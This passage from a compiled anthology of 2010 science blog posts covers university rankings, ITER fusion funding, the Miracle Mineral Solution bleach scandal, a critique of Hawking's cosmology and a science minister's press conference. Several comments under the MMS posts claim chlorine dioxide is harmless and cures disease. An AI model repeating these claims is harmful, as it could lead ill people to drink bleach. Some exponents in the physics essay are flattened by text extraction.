 Nancy Atkinson (@Nancy_A) | Nancy Atkinson
 'Dr. O' (@microdro) | Academic Aspirations
 Oana Sandu (@oanasandu) | Communicating Astronomy
 Pamela Gay (@starstryder) | Star Stryder
 Pascale Lane (@PHLane) | Stream of Thought
 'Pesska' (@pesska) | Royal Society Group Blog
 Dr. Petra Boynton (@drpetra) | Dr Petra Boynton
 Priya Shetty (@priya4876) | Science Safari
 'Psi Wavefunction' (@psiwavefunction) | Skeptic Wonder
 Rachael Dunlop (@DrRachie) | The Skeptic's Book of Pooh-Pooh
 Rachel Walden (@rachel_w) | Women's Health News
 Rebecca Higgitt (@beckyfh) | Whewell's Ghost
 Rebecca Montague (@sanitizedfor) | Sanitized for your Protection
 Rebecca Skloot (@RebeccaSkloot) | Culture Dish
 Risa Wechsler | Cosmic Variance
 Sandra Porter (@digitalbio) | Discovering Biology in a Digital World
 Sarah Kendrew (@sarahkendrew) | SarahAskew
 Sarah Murray (@SarahScientist) | Chemistress
 Sarah Webb (@sarahwebb) | Webb of Science
 'Scicurious' (@scicurious) | Neurotic Physiology
 S.C. Kavassalis (@sc_k) | The Language of Bad Physics
 S.E. Gould (@labratting) | Lab Rat
 Sharon Astyk | Casaubon's Book
 Sheril Kirshenbaum (@Sheril_) | The Intersection
 'Schrodinger's Kitten' | Schrodinger's Kitten
 'Captain Skellett' (@CaptainSkellett) | A Schooner of Science
 Smitha Mundasad (@thingy_majig) | Out There Healthcare
 Sonya (@daGreatAntidote) | The Great Antidote
 Sophie Scott (@sophiescott) | Speaking Out (UCL)
 Susan Niebur (@WomenPlanetSci) | Women in Planetary Science
 Susan Perkins | Parasite of the Day
 Susan Steinhardt (@scisu) | BioData Blogs
 Tara Smith (@aetiology) | Aetiology
 'TGIQ' | Fall to Climb
 Tinker Ready | Boston Blog
 'Dr. Val' (@drval) | Better Health
 Vanessa Woods (@bonobohandshake) | Bonobo Handshake
 Virginia Hughes (@virginiahughes) | Virginia Hughes
 Viv Raper (@vivraper) | Outdoor Science

(With particular thanks to: @alicebell, @smallcasserole, @sarahkendrew, @scicurious, @biochembelle,


@geekingambia, @jomarchant, @aetiology, @BecCrew, @droenn, @tdelene, @hpringle, @kateclancy,
@oanasandu, @elakdawalla, @tkingdoll, @anthinpractice,@hpringle and @culturingsci.)

That's 131 women science bloggers – clearly no shortage – so why aren't they breaking through and
gaining more prominence?

What do you think, and who have I missed in the list above?

390 | P a g e
VOLUME 10
2010/09/16 THE GREAT BEYOND: SHAKE-UP
IN WORLD‟S TOP-RANKING UNIVERSITIES
There is a considerable shake-up among the top dogs in this year’s league table of the world’s best
universities, published by the Times Higher Education magazine today.

Harvard University in Cambridge, Massachusetts, is the only university in the top ten that managed to
maintain its position from last year, again ranking number one in the world.

Among the other top ten this year, four universities, including Cambridge in the UK and Yale in New Haven,
Connecticut, slipped down the rankings, with the former moving four places to sixth and the latter slipping
7 places to tenth.

Two universities are this year relegated from the top ten. University College London, UK, now ranks 22
compared to fourth last year, and the University of Chicago, US, slipped 5 places to come twelfth this year.

The biggest gains were won by the University of California, Berkeley which jumped 31 places to eighth in
the world, and Stanford University in Palo Alto, California which is this year ranked fourth, up 12 places
from 2009.

In addition, technology-focused universities placed highly this year. The California Institute of Technology,
and the Massachusetts Institute of Technology came second and third respectively, both gaining ground
from 2009.

The only university outside of North America and the UK in the top 20 is the Swiss Federal Institute of
Technology in Zurich, which ranked fifteenth.

This year’s league table is compiled differently from previous years, placing greater importance on
performance indicators such as research volume and income, and citation impact, rather than focusing on
the reputation and size of universities (see Nature's news story on this).

Phil Baty, editor of Times Higher Education World University Rankings, said, “Some institutions, and even
whole countries, have not come out well under the new system. Others look much better.”

He adds, “Because of the change to the methodology, any movement up or down since 2009 cannot be
seen as a change in performance by an individual country or institution.”

But he says the rankings are “realistic” and “may deliver an unpleasant wake-up call that the days of
trading on reputation alone are coming to an end.”

Responding to the rankings, Paul Wellings, chairman of the 1994 Group of research-intensive universities in
the UK, urged the UK government to re-think its plans for slashing university budgets.

He said in a statement that the success of a wide range of UK research-intensive universities in the rankings
“demonstrates that it would be wrong to consider artificially concentrating funding further into a very
small number of institutions.”

Posted by Natasha Gilbert


COMMENTS
The rankings released by both Times and QS are still very subjective. Shanghai JiaoTong AWRU is based on objective
measures, but a significant weight in the rankings is given to a very small number of academics in an university (Nobel prize
winners and ISI Highly Cited reseachers). A new ranking method from Australia has just been released on
391 | P a g e
VOLUME 10
www.highimpactuniversities.com The new method is based on research impact (measured by g-index of citations) and is
simple, transparent and fair.
Posted by: Victor Sreeram | September 16, 2010 02:14 AM

2010/09/16 THE GREAT BEYOND: FUSION


FUNDING SLAMMED IN EUROPEAN PARLIAMENT -
SEPTEMBER 16, 2010

A proposal to fund a multi-billion-euro fusion


experiment through cuts in Europe’s research budget has met with a frosty reception in the European
Parliament, which must ultimately give its imprimatur to the deal.

ITER is a planned giant, superconducting reactor that will squeeze hydrogen isotopes together until they
fuse into helium. The process, which is analogous to reactions that power the sun, will release more energy
than it produces consumes.

But to get there, ITER will have to absorb more money than expected. The project was previously budgeted
at about €5 billion (US$6.5 billion) to build. The latest estimates put it at somewhere around €16 billion. As
host of the seven-party project, Europe will have to pony up some €7.2 billion between now and 2019,
over twice what it budgeted for.

The budget gap is especially nasty in the 2012-2013 timeframe, when the European Commission estimates
it will have to come up with €1.4 billion in extra funding. The Commission initially proposed a loan, or that
member states suck it up and pay. The member states, in their European manifestation as the Council of
Ministers (like the League of Extraordinary Gentleman, except not really), said “Nuh-uh”.

In July, the two sides struck a compromise: around a third of the money would come from European
research programmes, with two-thirds coming from elsewhere, including the agriculture budget, which has
money unspent.

The deal seemed to pave the way for ITER to proceed, but now the parliament, an elected body that co-
governs with the Council of Ministers, is balking at the plan. According to a story in European Voice,

392 | P a g e
VOLUME 10
parliament’s budget committee has rejected the compromise, throwing the whole process back into
turmoil.

Time to panic? Not according to Mark English, a spokesman for the commission, who told me that “all of
the European institutions: the commission, council, and parliament have made clear their commitment to
ITER”.

Talks will continue, with the hope of reaching a deal by 2012, when the money really starts to get tight. In
the meantime, construction cranes have popped up on the site near Cadarache, France (see above).

Credit: ITER

Posted by Geoff Brumfiel


COMMENTS
Anything that 'releases more energy than it produces' is surely priceless.
Posted by: Steve | September 16, 2010 06:21 PM
Climate change is the most pressing challenge mankind faces. We have to reduce GHG-emissions now, and we
have to use the solutions that are available now.
Fusion as a practical energy source may well remain an eternal promise, in the most optimistic scenarios still
decades away: too late to make a meaningful contribution, but taking funds away from other research and
development that needs to be done now.
Fusion research should be continued, but on scale fitting the chances that it will provide solutions in the next
decades: small.
Posted by: Jan van Beilen | September 20, 2010 11:17 AM
Nothing would be lost by cancelling ITER. Looking far ahead, many things rule out a working fusion reactor. Its
cost would be many times that of the rather simple ITER machine, and therefore prohibitively expensive; it will
be impossible to maintain, with the very high induced radioactivity ruling out any replacement of components;
the risk of plasma disruptions and superconducting magnet problems is far too great; there is no realistic way
of testing fusion materials (actually this is only possible with a fusion reactor – classic catch-22); and the huge
problems involved in tritium breeding are probably unsurmountable. The list goes on and on. The fusion money
would be far better spent on further developing the fast reactor system.
Posted by: John Evans | September 21, 2010 09:02 PM
Geoff,
Interesting problem for ITER and the EU. In your article you state,"The process, which is analogous to
reactions that power the sun, will release more energy than it produces." I believe you meant to say, "The
process, which is analogous to reactions that power the sun, will release more energy than it consumes."
Posted by: David Babineau | September 24, 2010 12:01 PM
You're absolutely right David! A slip of the keyboard that has now been corrected.
Best,
Geoff
Posted by: Geoff Brumfiel | September 24, 2010 01:36 PM

393 | P a g e
VOLUME 10
2010/09/16 GUARDIAN SCIENCE BLOG
MARTIN: KENYAN GOVERNMENT WARNS PUBLIC
OF MIRACLE MINERAL SOLUTIONS DANGER

As a result of skeptic bloggers, Kenyans are now being warned about the man treating sick people with
"industrial bleach"

A few days ago I wrote about Jim Humble and his product Miracle Mineral Solutions, described by the FDA
as "industrial bleach" ("The man who encourages the sick and dying to drink industrial bleach"). MMS was
brought to wider attention by the work of 15-year-old Rhys Morgan, and its use in the developing world to
treat patients with cancer, Aids and malaria was investigated by the blogger 'Noodlemaz'.

Since then I'm thrilled to report that journalists in Kenya have picked up the story, exposing Humble and
his dangerous "drug" in The Daily Nation, a top newspaper in the region ("Malaria 'drug' endangers Kenyan
lives"):

"The lives of thousands of Kenyans could be in danger from an untested and unregistered malaria drug
recently exposed as industrial bleach.

"Reports on Wednesday in the UK's Guardian newspaper said Kenyans were among about 100,000 malaria
patients treated with the Miracle Mineral Supplement in several African countries, including Uganda, Sierra
Leone, Tanzania and Malawi."

Journalists at the Nation brought the matter to the attention of the Health Ministry, who have now warned
Kenyans against using the product:

"On Thursday, the head of the malaria control division in the Health ministry, Dr Elizabeth Juma, said
sodium chlorite was bleach and should not be used as medicine."

Sadly, it turns out that the product is still being sold in the country, with the St James Ematsayi Clinic in
Kakamega a major distribution hub:

"Bishop Javan Ommani, in charge of the Christian mission, confirmed having the product. 'We still have a
lot of stocks and can send you as much as you want,' he said."

So there is much work to be done, and I plan to chase up the Health Ministry and local authorities where
possible in the near future. Still, Rhys, Noodlemaz and skeptic bloggers who helped to dig out the truth
about Jim Humble and his "miracle cure" should be immensely proud. Thanks to one inquisitive schoolboy
in Wales, health authorities in Africa have been alerted to a real menace in their country. It's a powerful
demonstration of what citizen journalism can achieve.

394 | P a g e
VOLUME 10
Update:

The Nation has followed up its mid-week reporting with an editorial in the Sunday paper. It throws more
attention on the activities of the Kakamega-based church at the heart of distribution in Kenya, who claim
to have treated more than 10,000 Kenyans since 2004. The paper suggests that the product hasn't been
registered with officials in Nairobi (a process which requires data from clinical trials), making the treatment
technically illegal. It goes on to criticise medical regulatory authorities in the country for perceived
impotence in the face of dodgy medicines:

"... most puzzling is why the government is so impotent when it comes to taking action against people who
break the law. The only thing the medical regulatory authorities have done is to issue regular threats of
legal action, which almost always go unheeded. With this kind of inept policing, it is little wonder that the
country is a haven for fake, substandard, counterfeit and even demonstrably dangerous medicines."

It's a subject I'll be returning to soon.


Comments in chronological order (Total 15 comments)
Noodlemaz 20 September 2010 11:15AM
It's fantastic to know that we've gone from observing Humble's crazy actions from afar to seeing local news
pick up the story.
I felt so helpless watching that video of him being interviewed and casually laughing along to 'sure, MMS cures
cancer!' and all his other disgusting mendacious claims. As I'm sure others who saw it did, too.
I wonder, as I just typed 'hooray for the internet!' then deleted it - is the access to information provided by
the internet helping or hindering such quacks, generally? Perhaps he'd have seen less success without it, but
now we are also able to expose it. I don't know if the problem is greater, through people accessing things like
discussion forums, quack websites - or lesser, due to this citizen journalism.
I like to think that the people who can be convinced are now more likely to come to the sensible conclusion given
the wealth of information that's freely available, but perhaps that is overly optimistic.
MartinRobbins20 September 2010 11:28AM
@Noodlemaz:
I think there's a much larger problem around advice available on the internet. It's very clear that those
running some of these communities have little or no regard for their responsibility to ensure the safety of
vulnerable and sometimes desperate people who post there.
An example of that is that crohnsforum.com have allowed this disgusting commentsuggesting Rhys has "mental
problems" to go unchallenged on the site - something which I think sums up how suitable the site is for people
seeking support or advice.
There are plenty of other examples beyond this case though - see for example JABS or the supporters of
Myhill and Wakefield. I'm not convinced these campaigns would exist in their present form without the
internet.
GlitteringPrize20 September 2010 3:08PM
This is terrific news. Wonderful work all around.
RhysMorgan20 September 2010 6:36PM
@MartinRobbins
Interesting to note that the commenter was named "GutlessWonder86"...
MMSPhoenix20 September 2010 11:36PM
You might want to listen to the thousands of people who have been cured and helped by MMS. MMS is NOT
bleach. Any chemist who is familiar with the compound will tell you it is different molecules that make up the
chemical structure. "Stabilized Oxygen" which is sold at health food stores IS the same as MMS; they are
both sodium chlorite, but MMS uses an activator (citric acid, lemon juice, or vinegar) to create the chlorine
dioxide gas which is the most powerful pathogen killer known to man. And harmless to the human body in doses
suggested. (But anything is harmful in wrong dosages; water will kill a person if they drink too much.)
In the United States, it is illegal to cure cancer or tell the truth on supplement labels. Evidence is everywhere
if you are just willing to look. Google "FDA suppression." Do you really think they exist to PROTECT the health
of the public? Then why do ONE HUNDRED THOUSAND people in the US DIE from pharmaceuticals each
YEAR? No one has died from MMS.

395 | P a g e
VOLUME 10
Have you read Humble's book? I can tell from this article you did not, as you stated a lot of wrong facts; facts
that maybe you picked up somewhere by someone who did not know, either. Please inform yourself, it may save
your life.
raogirl 21 September 2010 8:48AM
@MMSPhoenix, so its a totally safe and legitimate medicine? And you have a legitimate licence to use it and
impartial clinical data to support its use?
Lets be honest about our motives: I am commenting because I am a recent Biomecial Sciences graduate from a
legitimate and respected university in the north of England and I'm having trouble understanding your claims, I
have studied cancer treatments and "cures" for three years now and I am curious how you can claim that MMS
does not harm healthy tissue when it does not appear to have any published structural of implemetation data.
You have a five to ten year recovery and recurrence data to support that? Point me in the direction of where
your data is published in a legitimate medical journal and I'll gladly review it.
Cards on the table MMSPhoenix, who are you, what is your medical background, where is your data to support
these claims? I'm afraid failure to provide might make you seem a bit of a charlatan.
Your move.
RhysMorgan 21 September 2010 9:11PM
@MMSPhoenix
It's not illegal to cure cancer. It's illegal to claim to cure cancer, especially when you haven't.
NigelL 21 September 2010 10:34PM
Just in case anyone is interested in the truth:
chlorine dioxide gas IS NOT the most powerful pathogen killer known to man.
And IT IS NOT harmless to the human body in doses suggested.
In the United States, it is NOT illegal to cure cancer NOR IS IT ILLEGAL TO tell the truth on supplement
labels.
Why can't promoters and peddlers of quack medicines like MMSPhoenix tell the truth, or even get simple
scientific and legal facts like these right?
PlanetAwesum 26 September 2010 5:23AM
oops link didn't work above http://www.youtube.com/watch?v=PGjUp1zoov8 good luck yall. don't believe the
hype
MikeHypercube26 September 2010 10:23PM
Drinking purified water is not the same as drinking water purifier.
I have a boat, with a water tank. From time to time I have to add water purification tablets to the tank. The
instructions are clear: mix a specified amount of the purification chemical to the water, add it to the tank and
let it stand for up to 12 hours. Then empty the tank and refill with clean water, to which you add a much smaller
amount of the purification chemical.
That's the difference between drinking purified water and drinking water purifier. Your defense of the merits
of purified water has no bearing on whether or not you should drink the chemicals as directed by Jim Humble.
craigie1 29 September 2010 4:55PM
Thi article is totaly biased, yet again some journalist gets a hold of something and presents it as Gods Honest
Truth.
It makes me sick to the stomach that YOU Martin Robbins are actually presenting the Kenyan Governenment to
us as the doers of all that is good and righteous because it backs up an article you wrote about some kid that
got the hump because they had a bad time on a forum on the internet full of faceless people!
Do your homework Martin.
The 2008 Corruption Perceptions Index, issued by the anti-corruption organization Transparency International,
ranks Kenya 147th out of 180 countries, meaning the least corrupt countries are at the top of the list and the
most at the bottom.
How can anyone possibly trust the words or actions of such a corrupt nation?
craigie1 29 September 2010 4:56PM
The western world has been chlorinating our water for many decades. We ALL drink a solution of bleach every
day and no one says a word about the long term effects. hmmmm wonder why?
truthsayer2 30 September 2010 4:28AM
To those of you who state that this chemical is chlorine -- do your homework!! It is not. To those of you who are
demanding clinical testing be done to confirm that it does what people who have taken MMS say it does, put
your money where your mouth is, and find the funding. Mr. Humble has invited anyone in the scientific
community MANY TIMES to PLEASE conduct some studies, because studies cost money and he does not have
it.

396 | P a g e
VOLUME 10
What needs to be done is to have TRUE studies conducted. Studies that don't involve injecting mice in
Switzerland (as was done by a so-called scientist contracted by WHO). How many people have died from using
this MMS? How many people are still alive and doing quite well, thank you, as a result of taking MMS?
Perhaps people should do their due diligence on an issue BEFORE they promote falsehoods on the internet. Mr.
Humble has not made any claims, other than his own personal experiences. And thousands of malaria stricken
victims are alive this day because of what he has unselfishly done.

2010/09/16 EXQUISITE LIFE: THE FAUSTIAN


PACT: HAWKING'S GREEDY REDUCTIONISM
“… in their eagerness for a bargain, in their zeal to explain too much too fast,
scientists[...]underestimate the complexities, trying to skip whole layers or levels of theory in their
rush to fasten everything securely and neatly to the foundation.” [The American cognitive
scientist, Daniel Dennett, on „greedy reductionism‟]

In his new book, The Grand Design, published on September 9, and part-extracted by The Times, Stephen
Hawking claims to have killed off not only ‘God’, but also philosophy, and to “have found the grand
design”, for both after, and before, time zero. For such a brilliant mind, I find this ToE-curlingly naïve. The
very idea of a ‘Theory of Everything’ is itself a philosophical trope by which ‘all knowledge’ is to be unified
and reduced to one theory in physics. The arrogance is worthy of a jealous God, and it is a classic example
of what Daniel Dennett has termed ‘greedy reductionism’. It is also paradoxical that, while Hawking
embraces eleven dimensions and multiverses, he can grasp neither the concept of a dimensionless ‘God’
nor the existence of multiphilosophies.

Hawking is not the first physicist to fall for the Faustian Pact of seeking ‘all knowledge’ - “Daß ich erkenne,
was die Welt/ Im Innersten zusammenhält” (Goethe’s Faust, lines 382-3). Most famously, perhaps, there
was Paul Dirac at the 5th Solvay International Conference in 1927. After much discussion on religion and
science, the Austrian physicist, Wolfgang Pauli, who had been brought up as a Catholic, wryly commented
to much laughter: “Es gibt keinen Gott und Dirac ist sein Prophet” (“There is no God and Dirac is his
Prophet”). Mephistopheles was already in mocking flight.

Hawking is just the latest example of an eminent scientist beguiled by the temptation of revealing the one,
beautiful answer. It is as if the more brilliant the scientist the less the resistance to usurping ‘God’ power,
while denying the concept. For Hawking, M-theory replaces both God and philosophy. But M-theory is not
yet a proper theory, testable experimentally. Moreover, even among reductionist physicists, it is but one
candidate. And, as a philosophy, it is narrow and dangerous. Hawking and those driven by the Faustian
Pact are like Henrik Ibsen’s master builder, Halvard Solness, as they construct their towering castles, their
grand designs, from which they will surely topple.

Interestingly, the great Christian apologist, Augustine of Hippo Regius, in his Neo-Platonic
masterpiece, Confessiones, written in CE 397-8, asked the same questions of time and space, but was more
modest in his answers. “What was God doing before he made heaven and earth?” he mused; to which he
answered: “You are the Maker of all time…But if there was no time before heaven and earth were created,
how can anyone ask you what you were doing ‘then’? If there was no time, there was no ‘then’.”
397 | P a g e
VOLUME 10
As we move backwards in time towards t = 0, the initial singularity, our normally expanding universe
contracts, and, as it does so, it becomes denser and denser. At the staggering density of 1095 g/cm3, we
enter the Planck era, in which physics functions at the Planck scale. This is very, very close to time zero, but
it isnot time zero. We can only push the cosmic clock back to ~ t = 10-43s. We moderns can no more
approach time zero than could Augustine. We have no more insight into ‘time’ before time zero: is there
‘then’ or no ‘then’, ‘time’ or no ‘time’?

These matters remain resolutely in the realms of philosophy and metaphysics. In these spheres,
theologians and physicists are equal in their degrees of ignorance. Indeed, Hawking has no more authority
to speak on origins, and on time before zero, than Augustine, and, more pertinently, than the proverbial
woman on the Clapham omnibus. As Frank Close, Professor of Theoretical Physics at the University of
Oxford, observes, Hawking’s ‘grand design’ “adds nothing to the God debate.”

It reminds me of the ‘Theatre of the Absurd’, and of Harold Pinter’s seminal play, The Homecoming, with
Hawking cast as Teddy, the intellectual, who is brutally brought down to earth by his rumbustious family.
Where the big questions of LIFE are concerned, Teddy collapses before rougher men, while a plain-thinking
woman overpowers all. One recalls the great Catholic mathematician, Blaise Pascal, in 1654, and his
“Dieu”, not “le Dieu des philosophes et des savants”.

I fear that Hawking is stringing us along like any old huckster. The essence of being a scientist is to be open
to being proved wrong, and to resist the beautiful conceit of ‘all-knowingness’. Greedy reductionism denies
the very multiverses of knowledge, about which we remain as thick as two short Plancks.

Professor George Ellis, President of the International Society for Science and Religion, rightly concludes:
“Philosophy is not dead. Every point of view is imbued with philosophy.”

______________________

Philip Stott is emeritus professor of biogeography in the University of London.


Comments
What single statement can be made to refute there is no Theory of Everything? Philosophical or otherwise?
Conversely, what single statement can be made to show evidence that there may be a real clue leading to a
Theory of Everything? These are REAL questions having REAL answers.
Posted by: Colin C Ware | September 17, 2010 at 03:06 PM
In "The Grand Design" Stephen Hawking postulates that the M-theory may be the Holy Grail of physics...the
Grand Unified Theory which Einstein had tried to formulate and later abandoned. It expands on quantum
mechanics and string theories.
In my e-book on comparative mysticism is a quote by Albert Einstein: ―…most beautiful and profound emotion we
can experience is the sensation of the mystical. It is the sower of all true science. To know that what is
impenetrable to us really exists, manifesting itself as the highest wisdom and most radiant beauty – which our
dull faculties can comprehend only in their primitive form – this knowledge, this feeling, is at the center of all
religion.‖
E=mc², Einstein's Special Theory of Relativity, is probably the best known scientific equation. I revised it to
help better understand the relationship between divine Essence (Spirit), matter (mass/energy: visible/dark)
and consciousness (f(x) raised to its greatest power). Unlike the speed of light, which is a constant, there are

398 | P a g e
VOLUME 10
no exact measurements for consciousness. In this hypothetical formula, basic consciousness may be of insects,
to the second power of animals and to the third power the rational mind of humans. The fourth power is
suprarational consciousness of mystics, when they intuit the divine essence in perceived matter. This was a
convenient analogy, but there cannot be a divine formula.
Posted by: Ron Krumpos | September 20, 2010 at 06:02 PM

2010/09/17 ALICE BELL BLOG: MIRACLE


MINERAL SOLUTION
If you keep an eye on the UK skeptic media you will have probably already heard the story of 15 year old
Rhys Morgan and Miracle Mineral Solution (“Bleachgate”). If not, let me share it with you.

Crohn’s disease is horrible. Being a teenager is horrible. Have a read through The National Association for
Colitis and Crohn’s Disease pages for 16-29 year olds to get an idea of what it’s like when both happen at
once. Welsh teenager Rhys Morgan was diagnosed with Crohn’s a few months ago. He did what a lot of
people with similar conditions do and joined some online support groups.

It’s probably worth repeating that Crohn’s is horrible. I should also stress that it’s a complex and
unpredictable condition, the details of which medical science is still unraveling. Such support groups are
not only an emotional support, but can be great for sharing information, knowledge and experience. They
can also be ways of spreading things that aren’t so helpful, and they can emotionally difficult places too (I
can recommend this book for some discussion of issues surrounding this).

Rhys was sceptical of one of the treatment being pushed on a forum, something called “Miracle Mineral
Solution”. Very sensibly he did a bit of digging, and sound found that the FDA describes it as industrial
bleach. Rhys shared his concerns with the forum, and a whole story of internet community nastiness
followed. Watch Rhys’ videoblog for the full story, as he tells it himself so well (or see transcript on his
blog).

When the story first broke about a month ago, it was covered extensively by skeptics bloggers, but no
where else much. This week, there was an overview of the story in the Guardian, via a column by skeptic-
blogger Martin Robbins. It’s great that Martin’s connection there gets the story into such a high profile site
(and, as Paul Bradshaw says, it’d be good if lots of people link to Robbins’ piece with the words Miracle
Mineral Solution…). Still, I’d have loved to see it covered by, for example, reporters on education or health
beats too. Not just for the extension of coverage, but because I think it’s worth reflecting on the story from
more than just a skeptic perspective.

There has been a move in recent years to make UK science education more about public engagement,
designing curricula that not only train the next generation of scientists, but equip young people to use and
critique claims to scientific authority as part of their everyday lives (seethis GCSE for example). However, a
lot of this sort of work seems to see the process as preparation for later life, as if active engagement is
something adults too whereas kids are simply passive. Similarly, I’ve heard activists in young peoples’
health complain that under 18s are too often seen as “human becomings” rather than “human beings”
when it comes to medicine; that teens are simply taught how to prepare for a healthy adult lives as if they
have little role in their current existence.

I can see why people have been celebrating and supporting Rhys on this issue, but he’s not the only
teenager to take such a sensible and active role when it comes to their health (e.g. the trustee ofBody and
Soul featured in this podcast). I suspect a lot of young people hope to get the best possible information
399 | P a g e
VOLUME 10
about health; that they will spend time looking for such information and will be sceptical about what they
find. Also that the care that others get good information too, and so share it about, and that they will get
into fights with other young people and adults while they do so.

That’s why, for me the tale of Rhys Morgan and Miracle Mineral Solution isn’t just a story for or about
skeptics. It’s a genuinely interesting, concerning and illuminating story of inter-generational health
communication in a digital age, and one I’d have love to see talked about more.

EDIT: 19/9/10 changed reference to Martin’s piece in Guardian which was initially down as a blogpost
rather than a column. See my comment on Paul’s blogpost for context. Also, look – the story has been
picked up by a Kenyan newspaper and on the PLoS blogs.
5 Responses ―Miracle Mineral Solution‖ →

noodlemaz
September 20, 2010
Thanks for covering it, it all helps! The more informative stuff we can get into google the better.
Only thing I‘d change is a small technicality; MMS = miracle mineral solution (rather than solutions) – just in
case that affects search results!
Reply

alicerosebell
September 20, 2010
Done! I would have cut and paste the phrase from somewhere because I don‘t trust myself spelling things like
that right… no idea where though, but must be someplace else too.
Reply

mcshanahan
September 21, 2010
Thanks Alice for bringing this to my attention (and that of others as well). Thanks also for making the
connection to education – you‘re right that it is usually students‘ future lives as adults that we think about, not
their immediate engagement with scientific issues in their personal lives. I‘m going to bring this story up with
my class this week.

2010/09/17 GUARDIAN SCIENCE BLOG: DAVID


WILLETTS DUCKS QUESTIONS ABOUT THE FUTURE
OF SCIENCE FUNDING

At the British Science Festival in Birmingham yesterday, science minister David Willetts answered questions
about cuts in science funding. Alok Jha was not impressed

400 | P a g e
VOLUME 10
David Willetts was vague and
dismissive when asked questions about science funding. Photograph: Chris Radburn/PA

David Willetts is an engaging, intelligent and likeable man. He knows his onions on the economy, says most
of the right things about scientificresearch and, for the most part, has been welcomed by scientists and
campaigners as science minister in the new coalition government. Vince Cable, Willetts' senior as secretary
of state for business, seems equally enamoured by science.

There can be little doubt that either man underestimates the importance of investing in research, even in a
time of fiscal austerity, and both see the value in creating knowledge.

Which therefore makes some of the things that these informed men have been saying this past week all
the more worrying. Vince Cable started the gaffes last week with a misinformed statement about the "45%
of the research grants that were going through were to research that was not of excellent standard" in the
UK.

David Willetts didn't help yesterday when he point-blank refused to correct that error, a statement that
has got so much of the UK's science community up in arms.

Willetts gave a speech last night at the British Science Festival where he outlined some of the things he's
done or is about to do for British science.

He launched a consultation on the principles of scientific advice in government, said we needed better
public engagement on important science issues (and stopped the GM dialogue instituted by the previous
government and which Willetts said was not working), and lauded a new website on climate change,
launched by government chief scientist John Beddington.

Before the speech, Willetts came to see the press and was asked, among other things, about the looming
cuts in science funding and also whether public money should be used to fund homeopathic treatments.

His answers weren't convincing. In the vein of several others who have decided to let loose their notes so
that readers can make their own minds up about stories, I've reproduced below a transcript of around 12
minutes of the Willetts press conference that took place in Birmingham yesterday.

Perhaps Willetts does believe the same things as all those scientists out there who have decided to make a
noise about public funding of research. And maybe he only sounded vague or dismissive because, behind
the scenes, he is locked in a delicate political game with Treasury officials. Perhaps he can't say too much
that is supportive in public lest he reveal his hand too early and spoil his chances of getting scientists a
decent settlement from the comprehensive spending review in October.

401 | P a g e
VOLUME 10
I leave it to anyone who is interested to help me decode whether or not the stuff he said was the full-
throated defence of scientific principles you might expect from the man charged with championing
evidence-based policy and scientific research in government.

Q: Will Vince Cable or you assure scientists after the 45% gaffe that the information being supplied to
Treasury was not up to par and assure them that the mistake will be rectified? And is there still time for
scientists to still lobby you and make their case even louder than they perhaps have before?

Britain clearly has fantastic strengths in science and we have a large amount of scientific research of very
high quality indeed. Vince and I are both committed to Britain's science base. We have inherited a fiscal
crisis where Britain has borrowing running at a level higher than any G20 country and, secondly, no long-
term expenditure plans. The previous government didn't do a long-term planning exercise and we all know
why they didn't because they knew they were going to have to confront some very tough questions.

All of us in government understand that, alongside the need for austerity, it's absolutely essential that we
deliver economic growth and it's clear that universities and the science base are fundamental for economic
growth. There is a shared endeavour between BIS [Department for Business, Innovation and Skills],
Treasury and Number 10 at agreeing a science budget that focuses on excellent research and helps to
deliver the government's objectives on growth.

The kind of work that's being done by the Royal Society on the scientific century, the kind of academic
assessments of the importance of publicly-funded research, like some of the Jonathan Haskell stuff
showing very high returns specifically to research funded by the research councils. There is some good,
solid empirical evidence, which we're happy to share with all parts of the government machine.

Are you going to acknowledge the 45% error? Is there time for scientists to still make their case - for
example there's an idea that they might march on Downing Street, is that a waste of time?

What Vince was trying to do was levelling with the scientific community that we have to recognise that
there will be some reductions in public spending. He was, with typical honesty, trying to level with people
about that and it was the right thing to do. The scientific community are making their case very vigorously
but my view is that this is, especially for scientists, the best arguments are rigorously empirical and are
based on very tight evidence. The beady-eyed sceptics on science expenditure are much more likely to be
persuaded by hard, robust empirical evidence than by anything else and that's the best way by which we
should conduct this debate. I'm aware of the evidence but, equally, all government departments have to
make savings and we're not exempt and we're absolutely doing our best to ensure that we deliver the
savings that are necessary in a way that then focuses the budget on excellence in science.

You still haven't answered my question. The 45% figure is not empirically correct at all. Is there any point in
scientists marching on Downing Street? Is it too late for them to make any difference?

I think that people across government understand how the research rankings work. There's the RAE, now
REF, the rankings for QR, there's how the research councils allocate grants, there's more widely the Times
Higher league table overall where scientific activity plays a big role in the university rankings. We can see if
you look at all those bits of evidence that we've got excellent scientific research. The public expenditure
decisions will be announced on the 20th of October and it is a joint endeavour. I don't think it's helpful to
see different departments at loggerheads. There's a shared agreement on the importance of focusing on
excellence and the importance of science contributing to growth but anybody who's got robust empirical
evidence, everybody is still open to that. No final decisions on exact allocations have yet been made.1

The NHS spends something like £29m on homeopathy and yet there's no scientific evidence that it works.
John Beddington has also said there's very little evidence for it, so why is that scientific advice not getting
through to government?
402 | P a g e
VOLUME 10
John does speak up for the scientific evidence robustly. As chief scientist I very much believe in that part of
his role. The health service is partly patient-driven. It's what patients are expecting and seeking from their
doctors. There is a very understandable argument that, when there is very strong patient demand for this,
the NHS has to do something in response.

What about [if the public wanted] witch doctors?

The argument is that there is a specific and wide-ranging public appetite for homeopathy, which the NHS
needs to respond to. It is a matter for individual primary care groups of GPs to decide what they think they
should best spend their public money on for their patients. That's where the decision will lie in the future?
John Beddington has made his views as a scientist clear2. Government scientists do have a view on
homeopathy and he has expressed that view. As we know from other contexts, ultimately decisions are
based on other considerations as well. For the NHS, there is the argument that it has to be patient
responsive. And there is substantial patient demand for this particular treatment. That is what the NHS
can, if they wish, respond to. It is ultimately a decision for doctors themselves on the treatments they
choose to prescribe.

That goes against the idea of evidence-based medicine and the whole point of NICE [National Institute for
Health and Clinical Excellence], for example.

One of the ideas for the future is that there will be greater power and responsibility with groups of GPs in
our decentralised model. NICE will, of course, continue to offer advice but ultimately GPs will have scope
for responding to what their patients are demanding. You have to balance that argument about patient
demand alongside what I well-recognise as the scientific evidence.

They will have the ability to prescribe things like homeopathy even if they do not meet any NICE
requirements3. If GPs do detect very strong patient demand, they will be able to respond to that. Under
our new role, there will be greater scope for GPs to respond to patient demand.

GPs will be the purchasers on behalf of patients. They will be the patients' friend and agent through the
system.

Notes:

^1. Willets could so easily have addressed Vince Cable's "45%" gaffe and killed it. Instead, his obfuscation
will give no comfort to scientists and campaigners concerned that the discussions between BIS and
